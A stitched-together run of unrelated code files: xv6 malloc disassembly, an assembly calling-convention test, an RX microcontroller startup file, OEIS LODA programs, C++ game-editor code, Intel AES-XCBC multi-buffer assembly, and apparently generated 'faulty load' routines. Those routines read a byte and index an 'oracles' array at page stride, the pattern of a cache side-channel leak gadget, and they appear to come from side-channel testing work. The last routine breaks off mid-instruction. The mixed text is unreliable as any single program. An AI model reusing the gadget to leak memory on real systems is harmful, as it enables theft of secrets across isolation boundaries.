0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; 810: c7 05 24 0b 00 00 28 movl $0xb28,0xb24 817: 0b 00 00 81a: c7 05 28 0b 00 00 28 movl $0xb28,0xb28 821: 0b 00 00 base.s.size = 0; 824: b8 28 0b 00 00 mov $0xb28,%eax 829: c7 05 2c 0b 00 00 00 movl $0x0,0xb2c 830: 00 00 00 833: e9 44 ff ff ff jmp 77c <malloc+0x2c> 838: 90 nop 839: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi prevp->s.ptr = p->s.ptr; 840: 8b 08 mov (%eax),%ecx 842: 89 0a mov %ecx,(%edx) 844: eb b1 jmp 7f7 <malloc+0xa7>
section .data str: db '', 0 section .text %include "lib.inc" global _start _start: mov rdi, -1 mov rsi, -1 mov rax, -1 mov rcx, -1 mov rdx, -1 mov r8, -1 mov r9, -1 mov r10, -1 mov r11, -1 push rbx push rbp push r12 push r13 push r14 push r15 mov rdi, str call print_string cmp r15, [rsp] jne .convention_error pop r15 cmp r14, [rsp] jne .convention_error pop r14 cmp r13, [rsp] jne .convention_error pop r13 cmp r12, [rsp] jne .convention_error pop r12 cmp rbp, [rsp] jne .convention_error pop rbp cmp rbx, [rsp] jne .convention_error pop rbx jmp continue .convention_error: mov rax, 1 mov rdi, 2 mov rsi, err_calling_convention mov rdx, err_calling_convention.end - err_calling_convention syscall mov rax, 60 mov rdi, -41 syscall section .data err_calling_convention: db "You did not respect the calling convention! Check that you handled caller-saved and callee-saved registers correctly", 10 .end: section .text continue: mov rax, 60 xor rdi, rdi syscall
/*------------------------------------------------------------------------ | FILE : start.asm | DATE : Wed, Aug 25, 2010 | DESCRIPTION : Reset Program | CPU TYPE : Other | | This file is generated by KPIT GNU Project Generator (Ver.4.5). | | ------------------------------------------------------------------------*/ /*Start.asm*/ .list .section .text .global _start /*global Start routine */ #ifdef CPPAPP ___dso_handle: .global ___dso_handle #endif .extern _hw_initialise /*external Sub-routine to initialise Hardware*/ .extern _data .extern _mdata .extern _ebss .extern _bss .extern _edata .extern _main .extern _ustack .extern _istack .extern _rvectors #if DEBUG .extern _exit #endif _start: /* initialise user stack pointer */ mvtc #_ustack,USP /* initialise interrupt stack pointer */ mvtc #_istack,ISP /* setup intb */ mvtc #_rvectors_start, intb /* INTERRUPT VECTOR ADDRESS definition */ /* setup FPSW */ mvtc #100h, fpsw /* load data section from ROM to RAM */ mov #_mdata,r2 /* src ROM address of data section in R2 */ mov #_data,r1 /* dest start RAM address of data section in R1 */ mov #_edata,r3 /* end RAM address of data section in R3 */ sub r1,r3 /* size of data section in R3 (R3=R3-R1) */ smovf /* block copy R3 bytes from R2 to R1 */ /* bss initialisation : zero out bss */ mov #00h,r2 /* load R2 reg with zero */ mov #_ebss, r3 /* store the end address of bss in R3 */ mov #_bss, r1 /* store the start address of bss in R1 */ sub r1,r3 /* size of bss section in R3 (R3=R3-R1) */ sstr.b /* call the hardware initialiser */ bsr.a _hw_initialise nop /* setup PSW */ // mvtc #10000h, psw /* Set Ubit & Ibit for PSW */ /* change PSW PM to user-mode */ // MVFC PSW,R1 // OR #00100000h,R1 // PUSH.L R1 // MVFC PC,R1 // ADD #10,R1 // PUSH.L R1 // RTE // NOP // NOP /* start user program */ bsr.a _main /* call to exit*/ _exit: bsr.a _exit .end
; A133582: a(n) is found from a(n-1) by dividing by D-1 and multiplying by D, where D is the smallest number that is not a divisor of a(n-1). ; Submitted by Christian Krause ; 1,2,3,6,8,12,15,30,40,60,70,105,210,280,420,480,560,840,945,1890,2520,2772,3465,6930,9240,10395,20790,27720,30030,40040,60060,68640,80080,120120,135135,270270,360360,384384,480480,540540,617760,720720,765765 lpb $0 sub $0,1 mov $2,$1 seq $2,350509 ; a(n) = n/A055874(n). add $1,$2 lpe mov $0,$1 add $0,1
#include "../ActionTableWidget.h" #include <Editor/TriggerCreator/TriggerCreator.h> #include <Engine/Core/Trigger/Action/Actions.h> void ActionTableWidget::GET_AMOUNT_OF_FRAMES_GetEditorTypeForCell(const QModelIndex& _index, const QString& _actionType, int& _editor) { if(_actionType == "GET_AMOUNT_OF_FRAMES") { if(_index.column() == VALUE) { switch(_index.row()) { case ARG1_PROPERTY: { if(item(ARG1_PROPERTY, ARG_MODE)->text() == "VARIABLE") { _editor = UniversalDelegate::INTEGER_VARIABLE_EDITOR; return; } else if(item(ARG1_PROPERTY, ARG_MODE)->text() == "TEMPLATE") { _editor = UniversalDelegate::STRING_EXPR_EDITOR; return; } break; } case TARGET_PROPERTY: { if(item(TARGET_PROPERTY, ARG_MODE)->text() == "VARIABLE") { _editor = UniversalDelegate::ABSTRACT_ANIMATION_EDITOR; return; } else if(item(TARGET_PROPERTY, ARG_MODE)->text() == "TEMPLATE") { _editor = UniversalDelegate::STRING_EXPR_EDITOR; return; } break; } } } else if(_index.column() == ARG_MODE) { switch(_index.row()) { case ARG1_PROPERTY: { _editor = UniversalDelegate::COMBO_BOX_EDITOR; return; } case TARGET_PROPERTY: { _editor = UniversalDelegate::COMBO_BOX_EDITOR; return; } } } _editor = UniversalDelegate::NO_EDIT; } } bool ActionTableWidget::GET_AMOUNT_OF_FRAMES_UpdateRow(const QModelIndex& _index, const QString& _type) { if(_type == "GET_AMOUNT_OF_FRAMES") { if(_index.row() == TYPE_PROPERTY && _index.column() == VALUE) { SetDefaultState(); SetPropertyEnable(ARG2_PROPERTY, false); SetPropertyEnable(ARG3_PROPERTY, false); SetPropertyEnable(ARG4_PROPERTY, false); SetPropertyEnable(ARG5_PROPERTY, false); delegate->SetComboValuesForCell(indexFromItem(item(ARG1_PROPERTY, ARG_MODE)), argMode_VARIABLE_TEMPLATE_ComboList); SetCellText(ARG1_PROPERTY, ARG_MODE, argMode_VARIABLE_TEMPLATE_ComboList.at(0)); delegate->SetComboValuesForCell(indexFromItem(item(TARGET_PROPERTY, ARG_MODE)), argMode_VARIABLE_TEMPLATE_ComboList); SetCellText(TARGET_PROPERTY, ARG_MODE, argMode_VARIABLE_TEMPLATE_ComboList.at(0)); } else if(_index.row() == ARG1_PROPERTY && _index.column() == ARG_MODE) { SetDefaultProperty(ARG1_PROPERTY); SetCellText(ARG1_PROPERTY, CONTENT, "Result"); SetCellText(ARG1_PROPERTY, DATA_TYPE, "Integer variable"); } else if(_index.row() == TARGET_PROPERTY && _index.column() == ARG_MODE) { SetDefaultProperty(TARGET_PROPERTY); SetCellText(TARGET_PROPERTY, CONTENT, "Name"); SetCellText(TARGET_PROPERTY, DATA_TYPE, "Abstract animation"); } return true; } return false; } QString ActionTableWidget::GET_AMOUNT_OF_FRAMES_CreateAutoName(void) { if(item(TYPE_PROPERTY, VALUE)->text() == "GET_AMOUNT_OF_FRAMES") { QString name; if(item(TARGET_PROPERTY, ARG_MODE)->text() == "VARIABLE") { name += "_" + item(TARGET_PROPERTY, VALUE)->text(); } if(item(ARG1_PROPERTY, ARG_MODE)->text() == "VARIABLE") { name += "_" + item(ARG1_PROPERTY, VALUE)->text(); } return name; } return ""; } bool ActionTableWidget::GET_AMOUNT_OF_FRAMES_UpdateTargetVariablePropertyStatus(void) { if(item(TYPE_PROPERTY, VALUE)->text() == "GET_AMOUNT_OF_FRAMES") { UpdateAbstractAnimation(TARGET_PROPERTY); return true; } return false; } bool ActionTableWidget::GET_AMOUNT_OF_FRAMES_UpdateArg1VariablePropertyStatus(void) { if(item(TYPE_PROPERTY, VALUE)->text() == "GET_AMOUNT_OF_FRAMES") { UpdateVariable(ARG1_PROPERTY, Variable<int32>::INTEGER_TYPE); return true; } return false; } void ActionTableWidget::GET_AMOUNT_OF_FRAMES_DropEvent(QTableWidgetItem* _it, const QModelIndex& _index, const QString& _suffix, QString& _fileName) { if(item(TYPE_PROPERTY, VALUE)->text() == "GET_AMOUNT_OF_FRAMES") { if(item(_index.row(), ARG_MODE)->text() == "VARIABLE") { if(_index.row() == ARG1_PROPERTY) { VariableDropEvent(_it, _index, _suffix, _fileName, Variable<int32>::INTEGER_TYPE); } else if(_index.row() == TARGET_PROPERTY) { AbstractAnimationDropEvent(_it, _index, _suffix, _fileName); } } else if(item(_index.row(), ARG_MODE) ->text() == "TEMPLATE") { StringExprDropEvent(_it, _index, _suffix, _fileName); } } } void ActionCreator::GET_AMOUNT_OF_FRAMES_SetAction(int _actionType) { if(_actionType == AbstractAnimation::GET_AMOUNT_OF_FRAMES_MESSAGE) { actionTable->SetCellText(ActionTableWidget::TYPE_PROPERTY, ActionTableWidget::VALUE, "GET_AMOUNT_OF_FRAMES"); GetAmountOfFramesAction* derived = dynamic_cast<GetAmountOfFramesAction*>(action); if(derived) { if(derived->GetArgState(AbstractAction::VARIABLE, AbstractAction::ARG1)) { actionTable->SetCellText(ActionTableWidget::ARG1_PROPERTY, ActionTableWidget::ARG_MODE, "VARIABLE"); actionTable->SetCellText(ActionTableWidget::ARG1_PROPERTY, ActionTableWidget::VALUE, derived->GetVariableArg(AbstractAction::ARG1).c_str()); } else if(derived->GetArgState(AbstractAction::TEMPLATE, AbstractAction::ARG1)) { actionTable->SetCellText(ActionTableWidget::ARG1_PROPERTY, ActionTableWidget::ARG_MODE, "TEMPLATE"); actionTable->SetCellText(ActionTableWidget::ARG1_PROPERTY, ActionTableWidget::VALUE, derived->GetTemplateArg(AbstractAction::ARG1).c_str()); } if(derived->GetArgState(AbstractAction::VARIABLE, AbstractAction::TARGET)) { actionTable->SetCellText(ActionTableWidget::TARGET_PROPERTY, ActionTableWidget::ARG_MODE, "VARIABLE"); actionTable->SetCellText(ActionTableWidget::TARGET_PROPERTY, ActionTableWidget::VALUE, derived->GetVariableArg(AbstractAction::TARGET).c_str()); } else if(derived->GetArgState(AbstractAction::TEMPLATE, AbstractAction::TARGET)) { actionTable->SetCellText(ActionTableWidget::TARGET_PROPERTY, ActionTableWidget::ARG_MODE, "TEMPLATE"); actionTable->SetCellText(ActionTableWidget::TARGET_PROPERTY, ActionTableWidget::VALUE, derived->GetTemplateArg(AbstractAction::TARGET).c_str()); } } } } void ActionCreator::GET_AMOUNT_OF_FRAMES_Create(void) { if(actionTable->GetCellText(ActionTableWidget::TYPE_PROPERTY, ActionTableWidget::VALUE) == "GET_AMOUNT_OF_FRAMES") { action = Trigger::_CreateAction(AbstractAnimation::GET_AMOUNT_OF_FRAMES_MESSAGE); if(action) { if(actionTable->GetCellText(ActionTableWidget::TARGET_PROPERTY, ActionTableWidget::ARG_MODE) == "VARIABLE") { action->SetVariableArg(AbstractAction::TARGET, actionTable->GetCellText(ActionTableWidget::TARGET_PROPERTY, ActionTableWidget::VALUE).toStdString()); if(action->GetArgState(AbstractAction::ASSET_TYPE, AbstractAction::TARGET) == AssetLibrary::UNKNOWN_ASSET) { int32 assetType = AssetLibrary::_IsAssetExist(actionTable->GetCellText(ActionTableWidget::TARGET_PROPERTY, ActionTableWidget::VALUE).toStdString()); action->SetArgAssetType(AbstractAction::TARGET, assetType); } } else if(actionTable->GetCellText(ActionTableWidget::TARGET_PROPERTY, ActionTableWidget::ARG_MODE) == "TEMPLATE") { action->SetTemplateArg(AbstractAction::TARGET, actionTable->GetCellText(ActionTableWidget::TARGET_PROPERTY, ActionTableWidget::VALUE).toStdString()); } if(actionTable->GetCellText(ActionTableWidget::ARG1_PROPERTY, ActionTableWidget::ARG_MODE) == "VARIABLE") { action->SetVariableArg(AbstractAction::ARG1, actionTable->GetCellText(ActionTableWidget::ARG1_PROPERTY, ActionTableWidget::VALUE).toStdString()); if(action->GetArgState(AbstractAction::ASSET_TYPE, AbstractAction::ARG1) == AssetLibrary::UNKNOWN_ASSET) { int32 assetType = AssetLibrary::_IsAssetExist(actionTable->GetCellText(ActionTableWidget::ARG1_PROPERTY, ActionTableWidget::VALUE).toStdString()); action->SetArgAssetType(AbstractAction::ARG1, assetType); } } else if(actionTable->GetCellText(ActionTableWidget::ARG1_PROPERTY, ActionTableWidget::ARG_MODE) == "TEMPLATE") { action->SetTemplateArg(AbstractAction::ARG1, actionTable->GetCellText(ActionTableWidget::ARG1_PROPERTY, ActionTableWidget::VALUE).toStdString()); } } } }
;; ;; Copyright (c) 2012-2021, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %include "include/os.asm" %include "include/imb_job.asm" %include "include/mb_mgr_datastruct.asm" %include "include/cet.inc" %include "include/reg_sizes.asm" %ifndef AES_XCBC_X4 %define AES_XCBC_X4 aes_xcbc_mac_128_x4 %define FLUSH_JOB_AES_XCBC flush_job_aes_xcbc_sse %endif ; void AES_XCBC_X4(AES_XCBC_ARGS_x16 *args, UINT64 len_in_bytes); extern AES_XCBC_X4 section .data default rel align 16 len_masks: ;ddq 0x0000000000000000000000000000FFFF dq 0x000000000000FFFF, 0x0000000000000000 ;ddq 0x000000000000000000000000FFFF0000 dq 0x00000000FFFF0000, 0x0000000000000000 ;ddq 0x00000000000000000000FFFF00000000 dq 0x0000FFFF00000000, 0x0000000000000000 ;ddq 0x0000000000000000FFFF000000000000 dq 0xFFFF000000000000, 0x0000000000000000 one: dq 1 two: dq 2 three: dq 3 section .text %define APPEND(a,b) a %+ b %ifdef LINUX %define arg1 rdi %define arg2 rsi %else %define arg1 rcx %define arg2 rdx %endif %define state arg1 %define job arg2 %define len2 arg2 %define job_rax rax %if 1 %define unused_lanes rbx %define tmp1 rbx %define icv rdx %define tmp2 rax ; idx needs to be in rbp %define tmp r10 %define idx rbp %define tmp3 r8 %define lane_data r9 %endif ; STACK_SPACE needs to be an odd multiple of 8 ; This routine and its callee clobbers all GPRs struc STACK _gpr_save: resq 8 _rsp_save: resq 1 endstruc ; JOB* FLUSH_JOB_AES_XCBC(MB_MGR_AES_XCBC_OOO *state, IMB_JOB *job) ; arg 1 : state ; arg 2 : job MKGLOBAL(FLUSH_JOB_AES_XCBC,function,internal) FLUSH_JOB_AES_XCBC: mov rax, rsp sub rsp, STACK_size and rsp, -16 mov [rsp + _gpr_save + 8*0], rbx mov [rsp + _gpr_save + 8*1], rbp mov [rsp + _gpr_save + 8*2], r12 mov [rsp + _gpr_save + 8*3], r13 mov [rsp + _gpr_save + 8*4], r14 mov [rsp + _gpr_save + 8*5], r15 %ifndef LINUX mov [rsp + _gpr_save + 8*6], rsi mov [rsp + _gpr_save + 8*7], rdi %endif mov [rsp + _rsp_save], rax ; original SP ; check for empty mov unused_lanes, [state + _aes_xcbc_unused_lanes] bt unused_lanes, 32+7 jc return_null ; find a lane with a non-null job xor idx, idx cmp qword [state + _aes_xcbc_ldata + 1 * _XCBC_LANE_DATA_size + _xcbc_job_in_lane], 0 cmovne idx, [rel one] cmp qword [state + _aes_xcbc_ldata + 2 * _XCBC_LANE_DATA_size + _xcbc_job_in_lane], 0 cmovne idx, [rel two] cmp qword [state + _aes_xcbc_ldata + 3 * _XCBC_LANE_DATA_size + _xcbc_job_in_lane], 0 cmovne idx, [rel three] copy_lane_data: ; copy idx to empty lanes mov tmp1, [state + _aes_xcbc_args_in + idx*8] mov tmp3, [state + _aes_xcbc_args_keys + idx*8] shl idx, 4 ; multiply by 16 movdqa xmm2, [state + _aes_xcbc_args_ICV + idx] movdqa xmm0, [state + _aes_xcbc_lens] %assign I 0 %rep 4 cmp qword [state + _aes_xcbc_ldata + I * _XCBC_LANE_DATA_size + _xcbc_job_in_lane], 0 jne APPEND(skip_,I) mov [state + _aes_xcbc_args_in + I*8], tmp1 mov [state + _aes_xcbc_args_keys + I*8], tmp3 movdqa [state + _aes_xcbc_args_ICV + I*16], xmm2 por xmm0, [rel len_masks + 16*I] APPEND(skip_,I): %assign I (I+1) %endrep movdqa [state + _aes_xcbc_lens], xmm0 ; Find min length phminposuw xmm1, xmm0 pextrw len2, xmm1, 0 ; min value pextrw idx, xmm1, 1 ; min index (0...3) cmp len2, 0 je len_is_0 pshuflw xmm1, xmm1, 0 psubw xmm0, xmm1 movdqa [state + _aes_xcbc_lens], xmm0 ; "state" and "args" are the same address, arg1 ; len is arg2 call AES_XCBC_X4 ; state and idx are intact len_is_0: ; process completed job "idx" imul lane_data, idx, _XCBC_LANE_DATA_size lea lane_data, [state + _aes_xcbc_ldata + lane_data] cmp dword [lane_data + _xcbc_final_done], 0 jne end_loop mov dword [lane_data + _xcbc_final_done], 1 mov word [state + _aes_xcbc_lens + 2*idx], 16 lea tmp, [lane_data + _xcbc_final_block] mov [state + _aes_xcbc_args_in + 8*idx], tmp jmp copy_lane_data end_loop: mov job_rax, [lane_data + _xcbc_job_in_lane] mov icv, [job_rax + _auth_tag_output] mov unused_lanes, [state + _aes_xcbc_unused_lanes] mov qword [lane_data + _xcbc_job_in_lane], 0 or dword [job_rax + _status], IMB_STATUS_COMPLETED_AUTH shl unused_lanes, 8 or unused_lanes, idx shl idx, 4 ; multiply by 16 mov [state + _aes_xcbc_unused_lanes], unused_lanes ; copy 12 bytes movdqa xmm0, [state + _aes_xcbc_args_ICV + idx] movq [icv], xmm0 pextrd [icv + 8], xmm0, 2 %ifdef SAFE_DATA pxor xmm0, xmm0 ;; Clear ICV's and final blocks in returned job and NULL lanes %assign I 0 %rep 4 cmp qword [state + _aes_xcbc_ldata + I * _XCBC_LANE_DATA_size + _xcbc_job_in_lane], 0 jne APPEND(skip_clear_,I) movdqa [state + _aes_xcbc_args_ICV + I*16], xmm0 lea lane_data, [state + _aes_xcbc_ldata + (I * _XCBC_LANE_DATA_size)] movdqa [lane_data + _xcbc_final_block], xmm0 movdqa [lane_data + _xcbc_final_block + 16], xmm0 APPEND(skip_clear_,I): %assign I (I+1) %endrep %endif return: mov rbx, [rsp + _gpr_save + 8*0] mov rbp, [rsp + _gpr_save + 8*1] mov r12, [rsp + _gpr_save + 8*2] mov r13, [rsp + _gpr_save + 8*3] mov r14, [rsp + _gpr_save + 8*4] mov r15, [rsp + _gpr_save + 8*5] %ifndef LINUX mov rsi, [rsp + _gpr_save + 8*6] mov rdi, [rsp + _gpr_save + 8*7] %endif mov rsp, [rsp + _rsp_save] ; original SP ret return_null: xor job_rax, job_rax jmp return %ifdef LINUX section .note.GNU-stack noalloc noexec nowrite progbits %endif
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r14 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0xa310, %r10 and %rax, %rax mov (%r10), %r9d nop nop nop nop and $34629, %rbx lea addresses_A_ht+0xffb0, %r11 clflush (%r11) nop nop nop xor $14946, %r14 mov $0x6162636465666768, %r13 movq %r13, (%r11) nop nop cmp $40239, %r14 lea addresses_A_ht+0x6f40, %r13 nop nop cmp %r11, %r11 mov (%r13), %r14d nop nop add %r11, %r11 lea addresses_WC_ht+0x1cf10, %r14 clflush (%r14) nop nop nop cmp %r13, %r13 vmovups (%r14), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %r10 nop inc %r14 lea addresses_A_ht+0x18290, %rbx nop nop nop nop nop and $48921, %r11 movups (%rbx), %xmm6 vpextrq $1, %xmm6, %r9 nop nop nop nop add %r14, %r14 lea addresses_normal_ht+0xb710, %rbx nop nop dec %r10 mov $0x6162636465666768, %r9 movq %r9, %xmm5 and $0xffffffffffffffc0, %rbx vmovaps %ymm5, (%rbx) nop and $15585, %r11 lea addresses_WT_ht+0x1dd10, %rsi lea addresses_UC_ht+0x12410, %rdi nop nop nop nop cmp %r13, %r13 mov $41, %rcx rep movsq nop nop cmp %rbx, %rbx lea addresses_WT_ht+0x1d730, %rsi lea addresses_A_ht+0x15cf8, %rdi nop nop cmp %rax, %rax mov $27, %rcx rep movsl nop inc %r14 lea addresses_WT_ht+0xccb0, %rax nop nop nop cmp $27609, %rbx mov $0x6162636465666768, %rsi movq %rsi, (%rax) and %r11, %r11 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r14 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r8 push %r9 push %rbp push %rdx // Store lea addresses_WC+0x1c310, %rdx nop nop nop xor $23937, %r12 movw $0x5152, (%rdx) nop nop nop nop nop xor $17998, %r11 // Store lea addresses_UC+0xf8f8, %r8 nop nop nop nop sub $22728, %r10 movw $0x5152, (%r8) nop nop nop cmp %r11, %r11 // Faulty Load lea addresses_WC+0x1c310, %r9 xor %rdx, %rdx mov (%r9), %r11d lea oracles, %r8 and $0xff, %r11 shlq $12, %r11 mov (%r8,%r11,1), %r11 pop %rdx pop %rbp pop %r9 pop %r8 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': True, 'type': 'addresses_UC', 'size': 2, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': True}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}} {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': True}} {'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}} {'52': 21829} 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 */
; A081654: a(n) = 2*4^n - 0^n. ; 1,8,32,128,512,2048,8192,32768,131072,524288,2097152,8388608,33554432,134217728,536870912,2147483648,8589934592,34359738368,137438953472,549755813888,2199023255552,8796093022208,35184372088832,140737488355328,562949953421312,2251799813685248,9007199254740992 mov $1,4 pow $1,$0 lpb $0,1 mov $0,0 mul $1,2 lpe
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r15 push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x8b82, %r8 nop nop and $28350, %r11 mov (%r8), %edx nop add $36952, %r8 lea addresses_WC_ht+0x1c3e2, %r8 nop nop nop nop nop cmp %rbx, %rbx mov $0x6162636465666768, %r15 movq %r15, %xmm0 vmovups %ymm0, (%r8) nop nop nop inc %r8 lea addresses_A_ht+0xa462, %rcx nop nop sub %rdi, %rdi mov (%rcx), %ebx nop nop nop xor %rcx, %rcx lea addresses_A_ht+0x8d12, %r8 nop add %rcx, %rcx and $0xffffffffffffffc0, %r8 vmovaps (%r8), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %rdx nop nop nop nop and %rdx, %rdx lea addresses_A_ht+0x1b562, %rcx nop nop nop nop dec %rdi movb $0x61, (%rcx) nop lfence lea addresses_normal_ht+0x8562, %rcx nop nop nop nop nop add %r8, %r8 mov $0x6162636465666768, %r11 movq %r11, %xmm2 and $0xffffffffffffffc0, %rcx movaps %xmm2, (%rcx) nop nop nop nop nop sub %rdi, %rdi lea addresses_WT_ht+0x1bef8, %rsi lea addresses_A_ht+0x14d0e, %rdi nop nop nop nop nop mfence mov $78, %rcx rep movsq nop nop and $17127, %rdi lea addresses_D_ht+0x13962, %r8 sub %rdx, %rdx mov $0x6162636465666768, %rbx movq %rbx, %xmm4 and $0xffffffffffffffc0, %r8 movntdq %xmm4, (%r8) nop xor $40064, 